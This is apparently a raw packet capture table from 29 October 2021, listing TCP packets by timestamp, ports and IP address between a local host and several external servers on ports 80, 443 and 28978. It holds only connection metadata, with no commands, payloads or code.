Oct 29, 2021 20:30:05.406363964 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.406388998 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.406404972 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.406405926 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.406426907 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.406445980 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.406447887 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.406469107 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.406486988 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.406486988 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.406533003 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.406702995 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.406730890 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.406757116 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.406773090 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.406785965 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.406811953 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.406822920 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.406838894 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.406860113 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.406874895 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.406886101 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.406912088 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.406927109 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.406938076 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.406958103 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.406980038 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.407222033 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.407249928 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.407272100 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.407275915 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.407298088 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.407319069 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.407322884 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.407349110 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.407362938 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.407375097 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.407396078 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.407418966 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.407603025 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.407638073 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.407649994 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.407665014 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.407685041 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.407701969 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.407880068 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.407911062 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.407922983 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.407938004 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.407958031 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.407974005 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.414675951 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.468307972 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.468342066 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.468364954 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.468389034 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.468413115 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.468436003 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.468434095 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.468455076 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.468470097 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.468478918 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.468502998 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.468511105 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.468528032 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.468545914 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.468552113 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.468575954 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.468600035 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.468600035 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.468617916 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.468640089 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.468641996 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.468667030 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.468691111 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.468707085 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.468718052 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.468771935 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.468998909 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.469027042 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.469050884 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.469065905 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.469108105 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.469151974 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.469244957 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.469271898 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.469295979 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.469310999 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.469363928 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.469408035 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.469443083 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.469489098 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.469513893 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.469527960 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.469551086 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.469604015 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.469844103 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.469870090 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.469892025 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.469914913 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.469921112 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.469940901 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.469964981 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.469980955 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.469996929 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.470000029 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.470026016 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.470050097 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.470063925 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.470077991 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.470134020 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.470407009 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.470479965 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.470489025 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.470510006 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.470534086 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.470556974 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.470566034 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.470582962 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.470598936 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.470622063 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.470626116 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.470648050 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.470673084 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.470675945 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.470689058 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.470717907 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.470768929 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.470772982 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.470843077 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.470868111 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.470884085 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.470915079 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.470982075 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.471234083 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.471259117 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.471282959 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.471307039 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.471323013 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.471330881 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.471354961 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.471369028 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.471371889 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.471429110 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.482119083 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:05.482353926 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:05.485150099 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.531455994 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.531491995 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.531516075 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.531538963 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.531546116 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.531563997 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.531589031 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.531605005 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.531615973 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.531629086 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.531653881 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.531677961 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.531678915 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.531693935 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.531721115 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.531758070 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.531850100 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.531909943 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.531934977 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.531950951 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.531975031 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.532011032 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.532097101 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.532125950 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.532150030 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.532165051 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.532183886 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.532188892 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.532217026 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.532228947 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.532241106 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.532257080 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.532277107 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.532319069 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.532911062 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.532939911 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.532963991 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.532988071 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.533011913 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.533035040 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.533040047 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.533055067 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.533080101 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.533090115 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.533106089 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.533129930 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.533144951 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.533154964 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.533164978 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.533185005 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.533189058 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.533214092 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.533236980 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.533240080 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.533260107 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.533282995 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.533298016 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.533298016 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.533323050 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.533348083 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.533370018 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.533379078 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.533385038 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.533412933 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.533458948 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.533519983 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.533545971 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.533570051 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.533585072 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.533601999 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.533647060 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.533688068 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.533726931 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.533757925 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.533772945 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.533802032 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.533838987 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.533884048 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.533925056 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.533946991 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.533963919 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.533993959 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.534037113 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.534147024 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.534171104 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.534187078 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.534262896 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.563870907 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:05.573364019 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:05.637607098 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:06.376773119 CEST	49844	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 20:30:06.637706041 CEST	49844	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 20:30:06.666837931 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:06.666917086 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:06.666929007 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:06.666961908 CEST	49844	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 20:30:06.842022896 CEST	49844	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 20:30:10.575931072 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:10.576522112 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:25.332628965 CEST	49881	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:25.332681894 CEST	443	49881	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:25.332782030 CEST	49881	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:25.336252928 CEST	49881	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:25.336272001 CEST	443	49881	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:25.375618935 CEST	443	49881	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:25.375763893 CEST	49881	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:25.455348015 CEST	49881	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:25.455368996 CEST	443	49881	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:25.455631018 CEST	443	49881	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:25.660866976 CEST	443	49881	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:25.660979986 CEST	49881	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:29.050132036 CEST	49881	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:29.092879057 CEST	443	49881	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:29.135217905 CEST	443	49881	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:29.135320902 CEST	443	49881	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:29.135368109 CEST	443	49881	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:29.135406017 CEST	443	49881	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:29.135423899 CEST	49881	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:29.135449886 CEST	443	49881	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:29.135466099 CEST	49881	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:29.135503054 CEST	443	49881	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:29.135540009 CEST	49881	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:29.135552883 CEST	443	49881	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:29.135602951 CEST	443	49881	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:29.135638952 CEST	49881	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:29.135644913 CEST	443	49881	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:29.135658979 CEST	443	49881	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:29.135699034 CEST	49881	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:29.135710955 CEST	443	49881	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:29.135751009 CEST	443	49881	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:29.135787010 CEST	49881	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:29.135788918 CEST	443	49881	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:29.135801077 CEST	443	49881	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:29.135850906 CEST	49881	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:29.135863066 CEST	443	49881	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:29.135905981 CEST	443	49881	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:29.135946989 CEST	49881	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:29.135957003 CEST	443	49881	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:29.135993958 CEST	443	49881	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:29.136032104 CEST	443	49881	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:29.136061907 CEST	443	49881	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:29.136077881 CEST	49881	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:29.136090994 CEST	443	49881	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:29.136113882 CEST	49881	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:29.136132956 CEST	443	49881	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:29.136167049 CEST	443	49881	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:29.136169910 CEST	49881	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:29.136178970 CEST	443	49881	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:29.136220932 CEST	49881	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:29.136231899 CEST	443	49881	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:29.136271000 CEST	443	49881	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:29.136307001 CEST	443	49881	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:29.136308908 CEST	49881	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:29.136320114 CEST	443	49881	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:29.136363983 CEST	49881	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:29.136377096 CEST	443	49881	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:29.136415958 CEST	443	49881	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:29.136451960 CEST	443	49881	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:29.136451960 CEST	49881	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:29.136462927 CEST	443	49881	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:29.136509895 CEST	49881	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:29.136526108 CEST	443	49881	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:29.136565924 CEST	443	49881	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:29.136603117 CEST	443	49881	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:29.136607885 CEST	49881	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:29.136620998 CEST	443	49881	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:29.136661053 CEST	49881	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:29.136667013 CEST	443	49881	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:29.136678934 CEST	443	49881	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:29.136735916 CEST	49881	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:29.136738062 CEST	443	49881	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:29.136749029 CEST	443	49881	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:29.136806011 CEST	49881	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:29.136818886 CEST	443	49881	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:29.136878967 CEST	443	49881	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:29.136929035 CEST	49881	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:29.136941910 CEST	443	49881	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:29.152261019 CEST	443	49881	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:29.152407885 CEST	49881	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:29.152426004 CEST	443	49881	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:29.152476072 CEST	49881	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:29.152637959 CEST	443	49881	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:29.152719021 CEST	443	49881	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:29.152765989 CEST	49881	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:30:29.152774096 CEST	443	49881	162.159.130.233	192.168.2.3
Oct 29, 2021 20:30:29.152787924 CEST	443	49881	162.159.130.233	192.168.2.3
